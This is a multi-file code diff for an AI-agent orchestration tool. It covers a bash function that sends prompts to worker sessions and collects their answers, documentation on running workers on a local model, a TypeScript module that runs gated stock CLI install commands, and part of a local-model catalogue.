# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -319,4 +545,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
+1 -1
View File
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
+101 -1
View File
@@ -484,7 +484,10 @@ snippet carries the exit code back to you.
For a **claude** worker with no hooks, ask for the marker in halves in the prompt
itself ("print the word WORKDONE immediately followed by `_<token>`") for the same
reason, and match the joined token. ⚠️ Against a TUI, match a single space-free token:
reason, and match the joined token. For any **agent** worker without `stop` (a hook-less
claude, a worker on the local model, every external agent mode but deepseek), the
preamble's `sendmark <sid> "<prompt>"` is exactly that in one call, and also asks for the
answer in a file it reads back: [§5.16](#516-a-worker-on-the-local-model). ⚠️ Against a TUI, match a single space-free token:
a full-screen TUI positions text with cursor movements rather than literal spaces, so
the stripped stream can read `Yes,Itrustthisfolder`, and whether a phrase keeps its
spaces depends on how the TUI happened to draw it (observed live: some match, some
@@ -814,6 +817,103 @@ Rules that matter:
- **Lifetime.** An inbox goes with its session on delete. A server restart empties all
inboxes unless the user turned on *Keep agent inbox across restarts* in Settings.
### 5.16 A worker on the local model
The detail behind [Claude in the cloud, a local model on this
Mac](../SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac). Three preamble functions,
all read from source and pinned by `test/agent-skill-local-model.test.ts` against a fake
server; the local model routes themselves are experimental.
**`local_model`** is one `GET /api/v1/local-model` (the `/api/v1` alias reaches the
experimental route like any other) and prints one JSON line. Exit 0 means a `local` worker
can be spawned now (`running: true`) or once `spawn_worker` has started the runtime
(`running: false`):
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
```
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
|----------|---------------|-----------------------|
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
| `unauthorized`, `unreachable`, `error` | the request itself failed | §6 for a 401 |
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
- It joins the prompt onto one line and adds one sentence: write the complete answer to
`codeman-answer-<token>.md` in the working directory, and only then end the reply with
the word DONE immediately followed by `_<token>`. The typed text never holds the joined
marker, so its echo cannot match.
- It sends once with the exactly-once body (`$CID-<sid>`, an epoch-second `seq`, one `\r`)
and a one-second `exit` wait, so `delivered` is the pane's answer, not a guess.
- It waits on `wait-output?match=DONE_<token>&from=buffer` in rounds of at most 10 s until
the timeout (default 600 s), then reads the answer file from this machine's disk: only a
regular file (a symlink is refused), at most 256 KB.
- ⚠️ A full-screen agent can print the marker without it ever matching. OpenCode redraws
its spinner between the pieces a model streams, so with a reply streamed a character or
two at a time the stripped stream read `D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…` while the screen showed the whole
token (measured on OpenCode 1.3.0 on Linux). So between rounds it also looks at the answer file:
once it is non-empty and its checksum held still from one round to the next, it is read
and the wait ends with `matched: false`.
| exit | JSON | Meaning |
|------|------|---------|
| 0 | `answer` holds the file | the file was read: after the marker (`matched: true`), or once it held still (`matched: false`) |
| 2 | `matched: false` | neither the marker nor a settled file before the timeout. The worker may still be working: re-check the pane, never resend blindly |
| 3 | `ended: true` or `delivered: false` | the worker's pane ended. A pane that ended after it wrote the file but before the marker matched leaves `codeman-answer-<token>.md` in its folder: look there yourself |
| 4 | `matched: true, answer: null` | the marker printed, but no file within `SENDMARK_FILE_WAIT` s (default 120): the model ignored the instruction, or a reasoning model restated the marker while planning and is still at work |
| 1 | `detail` | the send or a wait failed |
What a marker proves, and what it does not: the model printed the token. Not that the
work is done, not that it is right, and with a reasoning model not even that the turn is
over, which is why the file is the second gate. What a small local model writes is a
first draft; review it before you build on it. The answer files stay in the worker's
folder, a scratch case that [§5.14](#514-clean-up) lists for cleanup.
`SENDMARK_ANSWER_FILE=0` asks for the marker alone, for a worker that cannot write where
it runs (codex in a folder it runs read-only, an agent that asks before it writes a file,
a worker on another host): exit 0 then means only that the marker printed, and with no
file to fall back on, a full-screen agent can answer exit 2 for a reply that finished. A
worker that stops on such a question shows up here as exit 2, not as an error.
Close every local worker you opened: while one is open the window refuses Stop and
Remove, naming it.
## Experimental bounded inspection and guarded submission
These three commands and their HTTP routes are labeled experimental, so they may
+311
View File
@@ -0,0 +1,311 @@
/**
* @fileoverview The shared runner of a STOCK CLI's install command: the one place Codeman
* executes an install one-liner, used by `POST /api/clis/:id/install`
* (src/web/routes/cli-registry-routes.ts) and by the local model install job.
*
* The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour
* byte for byte (same answers, same audit entry, same 409 for a second install of one id,
* same environment).
*
* What lives here:
* - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the
* server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place
* the server user can write. test/routes/cli-registry-routes.test.ts imports both from the
* route module, which re-exports them from here.
* - `runInstallCommand()`: `shell: true`, its own process group, output capped, the whole
* group killed on timeout. New: an abort signal that kills the group the same way, so the
* install job's Cancel has something to stop.
* - `forgetResolvedCli()`: after an install, successful or not, every cached lookup of the
* CLI's binaries is dropped, or a pre-install miss is replayed for up to five minutes.
* - The set of ids with an install running. ONE set for both callers
* (`tryBeginCliInstall()`), so the route and the job can never run two installers of one
* CLI over the same prefix.
*
* Rules:
* - Which command runs is the CALLER's choice, and the two callers choose differently. The
* local model job passes `stockInstallCommand()`, which reads the compiled `STOCK_CLIS`
* and never the registry merged with `clis.json`, so an override file cannot change what
* that job runs. The CLI management route passes the merged entry's command
* (`resolveInstallCommandForPlatform(listClis()...)`), as it did before this module
* existed: a `clis.json` override of a stock entry's install command IS what that route
* runs (behind `cliManagementEnabled`, after a confirm that shows the exact text). A custom
* entry's install text is never executed by either. Switching the route to
* `stockInstallCommand()` would close that gap at the cost of a behaviour change the route
* tests pin; it is an owner decision, not made here.
* - Who may call it is the caller's rule, not this module's: the route keeps its
* `cliManagementEnabled` gate; the install job runs it only for a harness row of the local
* model catalogue, after the person's consent click on a screen that showed the literal
* command, admin only in multi-user mode, and writes the admin audit entry itself.
*/
import { execFile, spawn } from 'node:child_process';
import { constants as fsConstants } from 'node:fs';
import { access } from 'node:fs/promises';
import { dirname, join } from 'node:path';
import { promisify } from 'node:util';
import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js';
import { STOCK_CLIS } from './config/cli-registry/stock.js';
import { getErrorMessage } from './types.js';
import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js';
import { invalidateCliResolverCache } from './utils/cli-resolver.js';
/** How long an install command may run before its process group is killed. */
export const CLI_INSTALL_TIMEOUT_MS = 300_000;
/** How an install command ended. */
export interface CliInstallResult {
/** The exit code, `null` when the command was killed or could not be started. */
code: number | null;
/** stdout and stderr together, capped. */
output: string;
/** The timeout killed it. */
timedOut: boolean;
/** The abort signal killed it. */
aborted: boolean;
}
export interface RunInstallCommandOptions {
/** Kills the installer's whole process group (SIGTERM, then SIGKILL). */
signal?: AbortSignal;
}
/**
* Ids with an install running right now. A second request for the same id gets 409 rather
* than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
*/
const installsInFlight = new Set<string>();
const execFileAsync = promisify(execFile);
/**
* True when `npm install -g` can write to this process's npm global prefix, or when that cannot
* be determined (then nothing is redirected: a wrong guess would move installs somewhere the
* user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
* because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
*
* Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
* timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
* judged by the nearest ancestor that does: npm creates the missing directories, so a user
* `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
*/
export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
try {
const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
env: source,
encoding: 'utf8',
timeout: 5_000,
killSignal: 'SIGKILL',
});
const prefix = stdout.trim();
if (!prefix) return true;
// npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
let dir = join(prefix, 'lib', 'node_modules');
for (;;) {
try {
await access(dir, fsConstants.W_OK);
return true;
} catch (err) {
if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
const parent = dirname(dir);
if (parent === dir) return false;
dir = parent;
}
}
} catch {
return true;
}
}
/**
* The server's environment minus every `CODEMAN_*` variable. An install script is third-party
* code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
* data dir, the tmux socket), none of which an installer needs.
*
* It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
* server user can write and Codeman's resolvers already search (`~/.local/bin`):
* - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
* update (the image's own prefix is image content);
* - on a native install whose npm global prefix is not writable by the server user (a system node
* under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
* e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
* operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
*/
export function installEnv(
source: NodeJS.ProcessEnv = process.env,
prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
): NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};
for (const [key, value] of Object.entries(source)) {
if (!key.startsWith('CODEMAN_')) env[key] = value;
}
// ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
// content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
// vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
// list, so npm-based installs are redirected there. curl|bash installers already target HOME.
if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
redirectNpmPrefix(env, source.HOME);
} else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
redirectNpmPrefix(env, source.HOME);
}
return env;
}
/**
* Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
* lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
* are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
* operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
*/
function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
env.NPM_CONFIG_PREFIX = `${home}/.local`;
}
/**
* `installEnv` for this process, with the (async) npm prefix probe done first and only when the
* command runs npm at all: a `curl | bash` installer never pays for it.
*/
async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
const usesNpm = /\bnpm\b/.test(command);
const probeNeeded =
usesNpm &&
source.CODEMAN_IN_CONTAINER !== '1' &&
process.platform !== 'win32' &&
!!source.HOME &&
!source.NPM_CONFIG_PREFIX;
const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
return installEnv(source, () => writable);
}
/**
* Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here:
* the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT
* a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to
* prevent: the string executed here is NEVER user input, only ever what is already hardcoded
* and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the
* guard of each caller).
*
* Never throws: a spawn that fails is a result with `code: null`.
*/
export async function runInstallCommand(
command: string,
options: RunInstallCommandOptions = {}
): Promise<CliInstallResult> {
const { signal } = options;
if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
const env = await installEnvFor(command);
// The environment probe above can take a moment (npm boots): an abort during it starts nothing.
if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
return new Promise((resolve) => {
let child: ReturnType<typeof spawn>;
try {
child = spawn(command, {
shell: true,
stdio: ['ignore', 'pipe', 'pipe'],
// Own process group; the timeout below kills the whole tree by hand, mirroring
// the DeepSeek profile-install endpoint's own reasoning: an install command fans
// out into package-manager children, and spawn's own `timeout` option signals
// only the direct child, leaving survivors holding the pipes open forever.
detached: true,
env,
});
} catch (err) {
resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false });
return;
}
let output = '';
let timedOut = false;
let aborted = false;
let settled = false;
let killTimer: NodeJS.Timeout | undefined;
let reapTimer: NodeJS.Timeout | undefined;
const capture = (chunk: Buffer) => {
if (output.length < 16_384) output += chunk.toString('utf-8');
};
child.stdout?.on('data', capture);
child.stderr?.on('data', capture);
const killTree = (killSignal: NodeJS.Signals) => {
try {
if (child.pid) process.kill(-child.pid, killSignal);
} catch {
/* already gone */
}
};
/** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */
const stopTree = () => {
if (killTimer) return;
killTree('SIGTERM');
killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
reapTimer = setTimeout(() => finish(null), 8_000);
};
const onAbort = () => {
aborted = true;
stopTree();
};
const finish = (code: number | null) => {
if (settled) return;
settled = true;
clearTimeout(timer);
if (killTimer) clearTimeout(killTimer);
if (reapTimer) clearTimeout(reapTimer);
signal?.removeEventListener('abort', onAbort);
resolve({ code, output, timedOut, aborted });
};
const timer = setTimeout(() => {
timedOut = true;
stopTree();
}, CLI_INSTALL_TIMEOUT_MS);
signal?.addEventListener('abort', onAbort, { once: true });
child.on('error', (err) => {
output = `${output}\n${err.message}`;
finish(null);
});
child.on('close', (code) => finish(code));
});
}
/**
* The install command of the STOCK CLI `id` for this platform, read from the compiled
* `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here.
*/
export function stockInstallCommand(id: string): string | undefined {
const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id);
if (!entry) return undefined;
const command = resolveInstallCommandForPlatform(entry);
return command !== undefined && command.trim() !== '' ? command : undefined;
}
/**
* Claims the one install slot of `id`. Returns the function that releases it, or `null` when
* an install of that CLI is already running (the caller answers 409 or waits).
*/
export function tryBeginCliInstall(id: string): (() => void) | null {
if (installsInFlight.has(id)) return null;
installsInFlight.add(id);
let released = false;
return () => {
if (released) return;
released = true;
installsInFlight.delete(id);
};
}
/**
* Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures
* the entry's binaries when first built) and every per-binary cache, hits and negative-cache
* backoff alike. Called after anything that changes what is on disk or what the CLI's binary
* IS; see `invalidateCliExecutableResolvers`.
*/
export function forgetResolvedCli(id: string, binaries: readonly string[]): void {
invalidateCliExecutableResolvers(binaries);
invalidateCliResolverCache(id);
}
+2 -6
View File
@@ -250,7 +250,7 @@ function describeSkillResult(result: AgentSkillApplyResult, target: string): { o
},
symlink: {
ok: false,
text: `${target}, its parent or its reference folder is a symlink, refusing to write through it.`,
text: `${target} (or its parent) is a symlink, refusing to write through it.`,
},
};
return messages[result];
@@ -320,11 +320,7 @@ skillCmd
if (result === 'symlink') {
// A shared-skills layout (`.agents/skills -> ../.claude/skills`) is deliberate:
// skip it rather than fail the whole sweep.
console.log(
palette.warn(
`- Skipped ${target}: it, its parent or its reference folder is a symlink, so it was not touched`
)
);
console.log(palette.warn(`- Skipped ${target}: it (or its parent) is a symlink, so it was not touched`));
continue;
}
removedAny = true;
+575
View File
@@ -0,0 +1,575 @@
/**
* @fileoverview The local model catalogue: which models, harnesses and chips the recommendation
* knows, as a compiled constant validated by a Zod schema.
*
* Rules:
* - There is NO override file and no runtime download data here: nothing in this file reads
* the data dir, and a data file can never decide what gets recommended. Which runtime build
* is downloaded is a compiled constant of its own (src/local-model/runtime.ts).
* - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can
* only ever name a model of the default registry and namespace.
* - A model row names the `runner` a Mac uses for its tag, and its memory figures follow that
* runner's rule (MEMORY below). A row's figures are its OWN: measured on that model, or
* computed from that model's architecture. test/local-model-catalog.test.ts recomputes every
* computed figure from a table of architectures and refuses a row that is not in it, so a
* new row needs its model's config.json read, not a figure borrowed from a neighbour.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
* take a custom model is checked against the registry at call time, in
* src/local-model/harness-facts.ts, never here.
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
* row, and `chips` most specific first.
* - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and
* throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses,
* so a bad row fails the gate and never reaches the route.
*
* Where each figure of the stock rows comes from, and what was checked (2026-11-08). [V] read
* at the source that day, [M] measured on a Mac, [C] computed from [V] inputs:
*
* | Figure | Source | Checked |
* |----------------------|-----------------------------------------------------------|--------------------------------------|
* | `id` | the registry's tag. The GGUF tags in lowercase: the | [V] every row: the registry answers |
* | | registry spells them `-q4_K_M`, and an id here is | the lowercase id with the same |
* | | lowercase (`LOCAL_MODEL_ID_PATTERN`) | manifest. NOT checked: that the |
* | | | runtime lists the pulled model under |
* | | | that name (Codeman compares exactly) |
* | `runner` | the build the runtime 0.40.15 pulls on Apple silicon: the | [V] every row |
* | | MLX child of a manifest list, else the one manifest | |
* | | (`runnerPreferences()`: mlx, then llamacpp) | |
* | `bytes` | every layer plus the config of that build: the `total` | [V] every row. [M] for |
* | | a pull reports | `qwen3.6:35b-a3b`, byte for byte |
* | `heldBytesPerToken`, | `qwen3.6:35b-a3b`: [M] on an Apple M5 Pro with 48 GB. | the others: [C], never run on a Mac. |
* | `overheadBytes`, | Every other row: [C] from its model's config.json for its | `figures` says which row is which. |
* | `peakExtraBytes` | runner, see MEMORY below. No row borrows another's | test/local-model-catalog.test.ts |
* | | figures: two rows share figures only when they share the | recomputes every one |
* | | architecture and the runner | |
* | `license`, `paramsB` | the model card (`paramsB` is the TOTAL, not the active | [V] |
* | | parameters) | |
* | `rank` | a judgement on the agentic coding results of the vendors' | no: vendor tables disagree with each |
* | | cards (SWE-bench Verified, SWE-bench Pro, Terminal-Bench) | other by several points |
* | `contexts` | up to the model's own window, and at least the 65536 a | no |
* | | harness needs | |
* | `speedPer100Gbps` | one published run per model family on an M1 Max | the run was read. It stands for less |
* | | (400 GB/s): generation only, short prompt. A row that is | than a session: no long prompt, no |
* | | not that run is SCALED from it, and says how | thinking tokens. An MTP build is |
* | | | faster than the run without it |
* | `tested` | our own run of the model with a harness on a real Mac | one entry, with its measured speed |
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
* | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or | 65536 yes. 32768 no, which is why |
* | | higher"), and OpenCode v1.19.5's own fixed prompt (about | that row is gated |
* | | 8,000 to 10,000 tokens) and compaction rule: at 32768 it | |
* | | leaves 14,000 to 16,000 tokens, less than one default | |
* | | 2,000-line file read | |
* | `chips` | the bandwidth column of | yes, read at the source for this |
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
*
* MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes`
* (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three
* figures are filled by the rule of its runner:
*
* - `llamacpp` (llama-server on Metal; runtime v0.40.15 source, llm/llama_server.go, and the
* llama.cpp it bundles, b12111). It allocates the K/V cache for the WHOLE context when the
* model loads, in the cache type the runtime sets (`RUNTIME_KV_CACHE_TYPE` in
* src/local-model/runtime.ts, q8_0: 34 bytes per 32 values), and does not grow after that.
* "MTP" below is a GGUF with a multi-token-prediction layer (`nextn_predict_layers` 1 in
* its header, read on 2026-11-08 from the first bytes of each model layer: the two `-mtp`
* tags and `qwen3.8:27b-q8_0` have it, the two 9B tags and North Mini Code do not). For
* such a model the runtime always passes `--spec-type draft-mtp --spec-draft-n-max N`, N
* being the tag's own `draft_num_predict` (its params layer: 4 for
* `qwen3.8:27b-mtp-q4_k_m`, 2 for `qwen3.6:35b-a3b-mtp-q4_k_m`) or the runtime's default
* of 4 (`qwen3.8:27b-q8_0` sets none).
* - held = attention layers x K/V heads x head dim x 2 (K and V) x 34/32. An MTP model
* adds its prediction layer, whose cache llama-server keeps in a draft context of the
* same length in the draft's own cache type, f16 by default (2 bytes per value).
* - overhead = the fixed caches (the f32 recurrent state of the linear-attention layers,
* or the sliding-window cache of `n_swa + 512` cells), held 1 + N times for an MTP
* model (llama.cpp keeps one recurrent state per drafted token for rollback,
* `need_n_rs_seq()`), + the context checkpoints: `LLAMA_ARG_CTX_CHECKPOINTS` host copies
* (`RUNTIME_CTX_CHECKPOINTS`, 8) of the state that cannot be rolled back (the recurrent
* state, or the sliding-window cache), + 1.0 GB for the runner's own buffers (calibrated
* on a third-party table of a 27B model on llama.cpp: 8.4 GB at 4,096 tokens with
* 7.15 GB of weights), + the 1024 MiB host prompt cache that `LLAMA_ARG_CACHE_RAM`
* allows (`RUNTIME_HOST_PROMPT_CACHE_MIB`). The checkpoints and the prompt cache are
* host memory, not Metal buffers; on a Mac both come out of the same memory, so they
* are counted like the rest.
* - peak = 0: its compute buffers are allocated at load and are inside the 1.0 GB.
* The one outside check of this rule: a third party measured 65,600 bytes per token of
* growth at f16 for a model of the Qwen3.8-27B architecture, where its config gives 65,536.
* The checkpoints and the rollback copies are read in the llama.cpp source
* (tools/server/server-context.cpp `create_checkpoint`, src/llama-memory-recurrent.cpp),
* not measured.
* - `mlx` (runtime v0.40.15 source, mlxrunner/). It grows the K/V cache in bf16 with the
* tokens used, keeps the recurrent state in f32 and a snapshot of it every 8,192 tokens,
* and keeps up to 8 GiB of paged-out prefix snapshots (prefix_cache.go `maxPagedOutBytes`,
* not configurable). Third-party OpenCode sessions show that growth (runtime issues 17924
* and 18131), and the runtime books an MLX model at its weights alone (issue 19417).
* - `qwen3.6:35b-a3b`: MEASURED. 36,000 to 38,000 bytes held per token after prompts of
* 89,000 and 167,000 tokens, 2.5 to 3 GB beside the weights, about 5 GB more for a
* moment while a long prompt was processed. NOT covered by that measurement: a session
